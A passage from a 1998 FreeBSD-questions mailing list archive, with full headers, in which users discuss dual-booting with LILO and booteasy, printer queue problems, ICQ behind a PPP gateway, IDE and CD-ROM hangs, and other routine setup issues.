opinion. None of this is to say that Linux is bad, just that in my opinion there are better choices available. FreeBSD will run Linux apps just fine -- no performance hit involved. FreeBSD has a central development team, Linux id more or less developed by commitee. Yes there is one individual that looks after the Linux Kernel, but the kernel is not an operating system. I have already stepped way over the flame boundry. Questions such as this always run that risk. The best advice is to try them both and use the one that works best for you. Personally, I have both installed, but rarely use Linux compared to FreeBSD. FreeBSD works best for me for many reasons, stability, availability and ease of installation of user apps, run Linux apps, and most of all it is very easy to upgrade and keep the current rev levels on my system. One last suggestion. If you wish to try a great linux distribution -- which I use and recommend over RedHat -- is go to www.suse.com and give that distribution a hard look. It has a lot going for it that makes it superior to RedHat. Hope that this helps. And yes I do use FreeBSd cuz it's better. Regards, Frank To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 17:52:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA08007 for freebsd-questions-outgoing; Sun, 5 Apr 1998 17:52:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA07999 for ; Sun, 5 Apr 1998 17:52:21 -0700 (PDT) (envelope-from anthony@sohopros.com) From: anthony@sohopros.com Received: from anthony.flashnet (fwasc8-144.flash.net [209.30.15.144]) by endeavor.flash.net (8.8.8/8.8.5) with SMTP id TAA25936 for ; Sun, 5 Apr 1998 19:52:19 -0500 (CDT) Message-Id: <3.0.32.19980405195120.008f49a0@pop.flash.net> X-Sender: anthony@pop.flash.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 05 Apr 1998 19:51:22 -0500 To: freebsd-questions@FreeBSD.ORG Subject: downloading a port. Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I would like to down load the port for netscape v4.05, but when I go to the FTP directory: /pub/FreeBSD/ports-2.2.5/www/netscape4/ at ftp.freebsd.org there arn't any ....tar.gz files. Shouldn't there be? Can someone give me some direction? Thanks Anthony ... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 17:58:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA08869 for freebsd-questions-outgoing; Sun, 5 Apr 1998 17:58:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from tera.com (tera.tera.com [207.108.223.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA08802 for ; Sun, 5 Apr 1998 17:57:59 -0700 (PDT) (envelope-from kline@tao.thought.org) Received: (from uucp@localhost) by tera.com (8.8.7/8.8.7) with UUCP id RAA17201; Sun, 5 Apr 1998 17:57:07 -0700 (PDT) Received: (from kline@localhost) by tao.thought.org (8.8.5/8.7.3) id RAA19801; Sun, 5 Apr 1998 17:49:50 -0700 (PDT) From: Gary Kline Message-Id: <199804060049.RAA19801@tao.thought.org> Subject: Re: dual booting on the IWILL P55XUB In-Reply-To: <980405181633.ZM3811@execpc.com> from Frank Pawlak at "Apr 5, 98 06:16:33 pm" To: fpawlak@execpc.com (Frank Pawlak) Date: Sun, 5 Apr 1998 17:49:50 -0700 (PDT) Cc: kline@thought.org, freebsd-questions@FreeBSD.ORG, bleach@bellsouth.net Organization: <> thought.org: public access uNix in service... <> X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Frank Pawlak: > On Apr 3, 10:44am, Gary Kline wrote: > > Subject: dual booting on the IWILL P55XUB > > > > After last night, I'm beginning to think that to get > > both Debian and FreeBSD booting _without changing the > > Adaptec BIOS settings on my IWILL P55XUB_ is going to be > > impossible. > > > > Gary, > > Try this as root using a DOS boot disk with fdisk on it. Boot from the DOS > disk and run fdisk /MBR. This will clear the MBR of LILO. Then try to install > booteasy from the CDROM. Boot Linux from the boot floppy and install LILO on > the Linux root partition and make the Linux root partition bootable. This > should make the Linux partition visable to boot easy. > > Will have a closer look at this later. > Hi Folks, Around noon I trashed LILO (after getting to the `LIL-' stage). Then an ex-doshead-freebsd-fellow stopped over to help me get booteasy working. Yeah, we did exactly what you were thinking of, Frank: `fdisk \MBR' and add booteasy. Wound up hosing my system all the more. ((Suggest that BootEasy be somewhere in /usr/src or /usr/bin, guys. *Hint, hint.* It was a bear to find and install and it evidently was done incorrecly.)) The problem(s), whatever they were, made me realize that life is too short. At this writing, 2.2.5 is reinstalling on all 3 SCSI drives. So my 6x86 box with ~10G of disk is going to be a hell of a machine. This fall I'm going to add drives to _this_ P90 box. Then I'll be looking to copy whoever has an all-SCSI system and FBSD and Debian. cheers! gary > > -- Gary D. Kline kline@tao.thought.org Public service uNix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 17:59:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA09081 for freebsd-questions-outgoing; Sun, 5 Apr 1998 17:59:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from whqvax.picker.com (whqvax.picker.com [144.54.1.1]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id RAA09014 for ; Sun, 5 Apr 1998 17:58:51 -0700 (PDT) (envelope-from rhh@ct.picker.com) Received: from ct.picker.com by whqvax.picker.com with SMTP; Sun, 5 Apr 1998 20:57:48 -0400 (EDT) Received: from elmer.ct.picker.com by ct.picker.com (4.1/SMI-4.1) id AA17650; Sun, 5 Apr 98 20:57:46 EDT Received: by elmer.ct.picker.com (SMI-8.6/SMI-SVR4) id UAA26097; Sun, 5 Apr 1998 20:57:31 -0400 Message-Id: <19980405205731.44447@ct.picker.com> Date: Sun, 5 Apr 1998 20:57:31 -0400 From: Randall Hopper To: Doug White Cc: questions@FreeBSD.ORG Subject: Re: 2.2 printcap entry -- a no-go on 3.0 Mail-Followup-To: Doug White , questions@FreeBSD.ORG References: <19980402200534.02094@ct.picker.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=YiEDa0DAkWCtVeE4 X-Mailer: Mutt 0.89.1i In-Reply-To: ; from Doug White on Fri, Apr 03, 1998 at 12:36:58PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --YiEDa0DAkWCtVeE4 Content-Type: text/plain; charset=us-ascii Doug White: |On Thu, 2 Apr 1998, Randall Hopper wrote: |> I had these entries in my FreeBSD 2.2 printcap (attached) and all 3 queues |> worked fine. But on 3.0, the "text" queue doesn't work. |> |> When I try to print to the text queue, the job doesn't print, and lpc |> gives: |> |> Warning: text is down: printing disabled | ^^^^^^^^^^^^^^^^^ | |Have you tried going into lpc and restarting this printer? Looks like it |was disabled from lpc. Yes, I did. No matter what I do, the "lp" and "text" queues say printing is disabled. However, the "ps" queue works fine. This strangeness is illustrated in the shell output below. I should mention this is with the lpd/lp* from 3.0-971208-SNAP. May be something has been fixed since then. But, I figured that I had to be doing something wrong with this lpd/lp* since I can't get a simple straight-through queue to work, but a queue with an output filter in it (my "ps" ghostscript queue) to the same print device works just fine. Thanks Doug, Randall --YiEDa0DAkWCtVeE4 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="shell.OUT" stealth : ~ > lpr -Ptext .cshrc stealth : ~ > su Password: stealth : ~ # lpc lpc> status all lp: queuing is enabled printing is disabled no entries in spool area printer idle text: queuing is enabled printing is disabled 1 entry in spool area printer idle ps: queuing is enabled printing is enabled no entries in spool area printer idle lpc> enable all lp: queuing enabled text: queuing enabled ps: queuing enabled lpc> start all lp: printing enabled daemon started text: printing enabled daemon started ps: printing enabled daemon started lpc> status all lp: queuing is enabled printing is disabled no entries in spool area printer idle text: queuing is enabled printing is disabled 1 entry in spool area printer idle ps: queuing is enabled printing is enabled no entries in spool area printer idle stealth : ~ # exit stealth : ~ > lpr -Ptext .cshrc stealth : ~ > lpq -Ptext Warning: text is down: printing disabled Warning: no daemon present Rank Owner Job Files Total Size 1st rhh 71 .cshrc 2239 bytes 2nd rhh 72 .cshrc 2239 bytes --YiEDa0DAkWCtVeE4-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 17:59:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA09101 for freebsd-questions-outgoing; Sun, 5 Apr 1998 17:59:29 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cplkagan.globaleyes.net (cplkagan.GlobalEyes.net [209.60.64.59]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA09055 for ; Sun, 5 Apr 1998 17:59:06 -0700 (PDT) (envelope-from parrothd@midwest.net) Received: from parrothd.houselan.net (parrothd [10.10.0.10]) by cplkagan.globaleyes.net (8.8.7/8.8.5) with SMTP id TAA04400; Sun, 5 Apr 1998 19:59:09 -0500 (CDT) Message-Id: <3.0.5.32.19980405200814.00a76e10@midwest.net> X-Sender: parrothd@midwest.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Sun, 05 Apr 1998 20:08:14 -0500 To: Andrew Stevens , "freebsd-questions@freebsd.org" From: "Jonathan E. Lyons" Subject: Re: Using ICQ with an IP alias In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 07:40 PM 4/5/98 -0500, Andrew Stevens wrote: >-- [ From: Andrew Stevens * EMC.Ver #2.5.02 ] -- > > ICQ: I am able to establish chat sessions only if I initiate them. >Otherwise I will receive the request and click 'accept', but can't get any >further than that. Also, instant messages from other users must be sent >through the ICQ server (as if I'm offline), otherwise, the message "can't >establish direct connection to user" is displayed. > Did yuo check the "behind firewall option " in the ICQ configuration?!?!..We use ICQ and -alias without any problems.. Later The beer is too cold, the daiquiris too fruitful, there's no place like home! Jimmy Buffett "The weather is here, Wish you were beautiful" Jon Lyons parrothd@midwest.net 87 HONDA VFR700 http://cplkagan.dyn.ml.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 18:03:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA10197 for freebsd-questions-outgoing; Sun, 5 Apr 1998 18:03:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ninbox.ml.org (host77-159.airnet.net [209.64.77.159]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA10104 for ; Sun, 5 Apr 1998 18:02:49 -0700 (PDT) (envelope-from kris@ninbox.ml.org) Received: from ninbox.ml.org (localhost [127.0.0.1]) by ninbox.ml.org (8.8.7/8.8.5) with ESMTP id UAA00485; Sun, 5 Apr 1998 20:01:33 -0500 (CDT) Message-ID: <3528296C.90326BF8@ninbox.ml.org> Date: Sun, 05 Apr 1998 20:01:32 -0500 From: Kris Kirby Reply-To: kris@airnet.net Organization: Absolutely None! X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: Andrew Stevens CC: "freebsd-questions@freebsd.org" Subject: Re: Using ICQ with an IP alias References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > ICQ: I am able to establish chat sessions only if I initiate them. > Otherwise I will receive the request and click 'accept', but can't get any > further than that. Also, instant messages from other users must be sent > through the ICQ server (as if I'm offline), otherwise, the message "can't > establish direct connection to user" is displayed. > Speak Freely: The individual I'm talking to can hear me, but I can't hear > them. I can see the RD light on my modem busy, but these signals are not > being passed on to my voice machine. > I'm sure these problems are connected somehow. I added the necessary > ports to /etc/services in hopes that this would end the problem, but no luck > .. I've also tried "alias deny_incoming no" at the ppp prompt. Any thoughts You are correct. All of these problems are due to a unintentional firewall created by the gateway machine. I experience it myself and take full advantage of it. These services open sockets on your Windows machine which are linked to the programs, which act as servers. With a BSD box, these sockets aren't opened until you use a proxy. The good part is that your LAN cannot be seen from the internet without a proxy. So when you regulate the gateway (using ppp's packet filters or ipfw) you firewall the access methods to the LAN. Anything that comes from the internet to the LAN has to pass throught some form of proxy or gateway. -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 18:24:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA15832 for freebsd-questions-outgoing; Sun, 5 Apr 1998 18:24:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA15787 for ; Sun, 5 Apr 1998 18:24:01 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id KAA10782; Mon, 6 Apr 1998 10:53:42 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id KAA02564; Mon, 6 Apr 1998 10:53:40 +0930 (CST) (envelope-from grog) Message-ID: <19980406105340.33845@freebie.lemis.com> Date: Mon, 6 Apr 1998 10:53:40 +0930 From: Greg Lehey To: Thieu Le , freebsd-questions@FreeBSD.ORG Subject: Re: PLIP References: <199804050437.XAA21728@rac8.wam.umd.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <199804050437.XAA21728@rac8.wam.umd.edu>; from Thieu Le on Sat, Apr 04, 1998 at 11:37:10PM -0500 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 April 1998 at 23:37:10 -0500, Thieu Le wrote: > Does freebsd support Crynwr PLIP driver through the 'lp' TCP/IP interface? I don't know. There is PLIP support, but I don't know whether Crynwr uses the same frame format. Probably the best thing would be to try it out and see if it works (and then tell us). Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 18:29:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA16665 for freebsd-questions-outgoing; Sun, 5 Apr 1998 18:29:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from monk.via.net (monk.via.net [209.81.9.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id SAA16657 for ; Sun, 5 Apr 1998 18:29:23 -0700 (PDT) (envelope-from joe@via.net) Received: (from joe@localhost) by monk.via.net (8.6.11/8.6.12) id SAA21982 for questions@freebsd.org; Sun, 5 Apr 1998 18:29:18 -0700 Date: Sun, 5 Apr 1998 18:29:18 -0700 From: Joe McGuckin Message-Id: <199804060129.SAA21982@monk.via.net> To: questions@FreeBSD.ORG Subject: 2.2.6-RELEASE problem ? X-Sun-Charset: US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG We have this intermittant problem with 2.2.6. Our web server has about 60 IP addresses aliased to fxp0. At random times, several (actually, many) of the addresess become unreachable, unpingable. Re-running /etc/start_if.fxp0 seems to kick the machine into behaving. For a whie, at least. Has anyone else seen this? Could this be a defective fxp card? Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 18:29:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA16696 for freebsd-questions-outgoing; Sun, 5 Apr 1998 18:29:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from seidata.com (ns1.seidata.com [208.10.211.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA16629 for ; Sun, 5 Apr 1998 18:28:45 -0700 (PDT) (envelope-from mike@seidata.com) Received: from localhost (mike@localhost) by seidata.com (8.8.8/8.8.5) with SMTP id VAA28088 for ; Sun, 5 Apr 1998 21:28:26 -0400 (EDT) Date: Sun, 5 Apr 1998 21:28:26 -0400 (EDT) From: Mike To: freebsd-questions@FreeBSD.ORG Subject: FreeBSD 2.2.5 problems on a Dell Dimension XPS D300 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all: Assuming 'questions' is the place to ask *this* question... :) Work was nice enough to purchase a nice, fast, 300MHz P2 system for me... unfortuneately, it's loaded with lots of hardware that likes to assume you're using Windows 95... and... if you're not, it doesn't work. :) When booting 2.2.5 from the CD or with the boot floppy, got a hang as soon as the ethernet card was detected. It's a 3Com 900 Combo card - and guess what... it's a PnP jumperless card. Can you say trash? :) I removed the card and I thought I was off scott free... but I then got weird results from the secondary IDE controller. Here's my current setup: wdc0 Primary master: IBM 8.5GB IDE Primary slave: not used wdc1 Secondary master: ATAPI CD-Rom Secondary slave: not used It detects the IBM hard disk with no problems, but then it tries to detect wdc1 and all goes down hill from there. The screen goes blank except for a flashing cursor in the lower-left hand corner... after a few minutes the screen blinks and a beep is heard, but nothing changes (screen still blank). It just sits there and does nothing... I can get into the install routine if I disable wdc1 in the initial kernel config, but I need wdc1 to access the CD-Rom (and install from the CD). At this point I *think* I'm logically suspecting the CD-Rom (not the controller), and would like to know if anyone else has had problems with (or used at all...) the Toshiba XM-6102B 24x drive. Just wanting some ideas... I think I'll try removing the drive and enabling the contoller just to see if I get the lock up or not... that should give me enough to do for the night. I suppose I could also try setting the CD-Rom drive up as primary slave... ;) Oh... and... what's the general consensus (yeah, right!) on the best NIC and CD-Rom drive for FreeBSD? :) TIA --- Mike Hoskins Kettering University SEI Data Network Services, Inc. CS/CE Dual-Major Program mike@seidata.com hosk0094@kettering.edu http://www.seidata.com http://www.kettering.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 18:36:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA17996 for freebsd-questions-outgoing; Sun, 5 Apr 1998 18:36:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA17986 for ; Sun, 5 Apr 1998 18:36:20 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA10806; Mon, 6 Apr 1998 11:06:08 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA02639; Mon, 6 Apr 1998 11:06:03 +0930 (CST) (envelope-from grog) Message-ID: <19980406110602.01106@freebie.lemis.com> Date: Mon, 6 Apr 1998 11:06:02 +0930 From: Greg Lehey To: "Joe \"Marcus\" Clarke" , Spike Gronim Cc: FreeBSD User Questions List Subject: Re: Console screen shot References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Joe "Marcus" Clarke on Sun, Apr 05, 1998 at 04:59:09PM -0400 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 April 1998 at 16:59:09 -0400, Joe "Marcus" Clarke wrote: > On Sun, 5 Apr 1998, Spike Gronim wrote: > >> On Sun, 5 Apr 1998, Joe "Marcus" Clarke wrote: >> >>> Is there any way to get a screen shot of the console in full color mode? >>> >>> Joe Clarke >>> >>> >>> To Unsubscribe: send mail to majordomo@FreeBSD.org >>> with "unsubscribe freebsd-questions" in the body of the message >>> >>> >> You can use xgrab/xgrabsc from the ports to grab screen shots in X, if >> that is what you want. > > Actually, I was looking for something that can grab the screen from one > of the vtys. I want to grab a /stand/sysinstall image in color. xterm > didn't give me color. Any ideas? xterm *does* give you colour. Set the TERM environment variable to xterm-color. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 18:43:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA20162 for freebsd-questions-outgoing; Sun, 5 Apr 1998 18:43:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA20056 for ; Sun, 5 Apr 1998 18:43:04 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (tigella-44.mdm.mke.execpc.com [169.207.81.108]) by mailgw02.execpc.com (8.8.8) id UAA15394; Sun, 5 Apr 1998 20:42:42 -0500 (CDT) Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id TAA00418; Sun, 5 Apr 1998 19:43:25 -0500 (CDT) From: Frank Pawlak Message-Id: <199804060043.TAA00418@darkstar.connect.com> Date: Sun, 5 Apr 1998 19:43:23 -0500 (CDT) To: kline@thought.org Cc: fpawlak@execpc.com, kline@thought.org, freebsd-questions@FreeBSD.ORG, bleach@bellsouth.net Subject: Re[2]: dual booting on the IWILL P55XUB In-Reply-To: <199804060049.RAA19801@tao.thought.org> X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sigh!! Damn!! Guess that obviates any more work on this on my part. Sorry for the bad advice. Regards, Frank Gary Kline wrote: > According to Frank Pawlak: > > On Apr 3, 10:44am, Gary Kline wrote: > > > Subject: dual booting on the IWILL P55XUB > > > > > > After last night, I'm beginning to think that to get > > > both Debian and FreeBSD booting _without changing the > > > Adaptec BIOS settings on my IWILL P55XUB_ is going to be > > > impossible. > > > > > > > Gary, > > > > Try this as root using a DOS boot disk with fdisk on it. Boot from > the DOS > > disk and run fdisk /MBR. This will clear the MBR of LILO. Then try > to install > > booteasy from the CDROM. Boot Linux from the boot floppy and > install LILO on > > the Linux root partition and make the Linux root partition bootable. > This > > should make the Linux partition visable to boot easy. > > > > Will have a closer look at this later. > > > > Hi Folks, > > Around noon I trashed LILO (after getting to the `LIL-' stage). > Then an ex-doshead-freebsd-fellow stopped over to help me get > booteasy working. Yeah, we did exactly what you were thinking > of, Frank: `fdisk \MBR' and add booteasy. Wound up hosing my > system all the more. > > ((Suggest that BootEasy be somewhere in /usr/src or /usr/bin, > guys. *Hint, hint.* It was a bear to find and install and > it evidently was done incorrecly.)) > > The problem(s), whatever they were, made me realize that life > is too short. At this writing, 2.2.5 is reinstalling on all > 3 SCSI drives. So my 6x86 box with ~10G of disk is going to > be a hell of a machine. > > This fall I'm going to add drives to _this_ P90 box. Then I'll > be looking to copy whoever has an all-SCSI system and FBSD and > Debian. > > cheers! > > gary > > > > > > > > > -- > Gary D. Kline kline@tao.thought.org Public service > uNix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 18:43:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA20247 for freebsd-questions-outgoing; Sun, 5 Apr 1998 18:43:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA20096 for ; Sun, 5 Apr 1998 18:43:10 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA10817; Mon, 6 Apr 1998 11:12:43 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA02685; Mon, 6 Apr 1998 11:12:42 +0930 (CST) (envelope-from grog) Message-ID: <19980406111242.04083@freebie.lemis.com> Date: Mon, 6 Apr 1998 11:12:42 +0930 From: Greg Lehey To: Delete@ADEPT.CO.ZA, freebsd-questions@FreeBSD.ORG Subject: Re: Stupid Question References: <3527C605.203C@ADEPT.CO.ZA> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <3527C605.203C@ADEPT.CO.ZA>; from Delete on Sun, Apr 05, 1998 at 07:57:25PM +0200 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 April 1998 at 19:57:25 +0200, Delete wrote: > I don't want to offend anyone and I might sound stupid but which files > do u need to download to have this operating system. As well as the other places, check out http://www.lemis.com/handbook/what-to-download.html Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 18:45:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA21177 for freebsd-questions-outgoing; Sun, 5 Apr 1998 18:45:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.ahnet.net (mail2.ahnet.net [207.213.224.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA21079 for ; Sun, 5 Apr 1998 18:45:30 -0700 (PDT) (envelope-from webmaster@zwb.net) Received: from znet-pdcs (icg-apc-pr1-p11.apc.net [207.211.76.165]) by mail.ahnet.net (8.8.7/8.8.6) with SMTP id SAA19526 for ; Sun, 5 Apr 1998 18:38:09 -0700 (PDT) Message-Id: <3.0.5.32.19980405184137.00919410@mail.zwb.net> X-Sender: 5808.dima@mail.zwb.net X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Sun, 05 Apr 1998 18:41:37 -0700 To: freebsd-questions@FreeBSD.ORG From: Dima Dorfman Subject: syslog/udp: unknown service Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi: I'm running FreeBSD 2.2.6, and on startip, when syslogd starts, I get a message: "syslodg: syslog/upd: unknown service." I've tried adding a service called syslog/udp to /etc/serivces, but that didn't help. BTW, can someone please send me a copy of their /etc/services file, I accidently screwed mine. Please send reply by e-mail to dima@zwb.net Thanks in advance for any and all help! Dima P.S. Never be 'root' unless you have to To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 18:56:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA23877 for freebsd-questions-outgoing; Sun, 5 Apr 1998 18:56:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA23870 for ; Sun, 5 Apr 1998 18:56:18 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA10841; Mon, 6 Apr 1998 11:26:06 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA02856; Mon, 6 Apr 1998 11:26:06 +0930 (CST) (envelope-from grog) Message-ID: <19980406112606.43641@freebie.lemis.com> Date: Mon, 6 Apr 1998 11:26:06 +0930 From: Greg Lehey To: Richard Stanaford , freebsd-questions@FreeBSD.ORG Subject: Re: XFree86 requests a missing /dev/ttyv4?? References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Richard Stanaford on Sun, Apr 05, 1998 at 02:58:47PM -0400 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 April 1998 at 14:58:47 -0400, Richard Stanaford wrote: > > Hey all! Having a blast with FreeBSD. I got so fed up with Microsoft I > decided to turn my desktop machine at work in to an X workstation. So I > got FreeBSD 2.2.6-RELEASE and I am dual booting with Win95 for those poor > 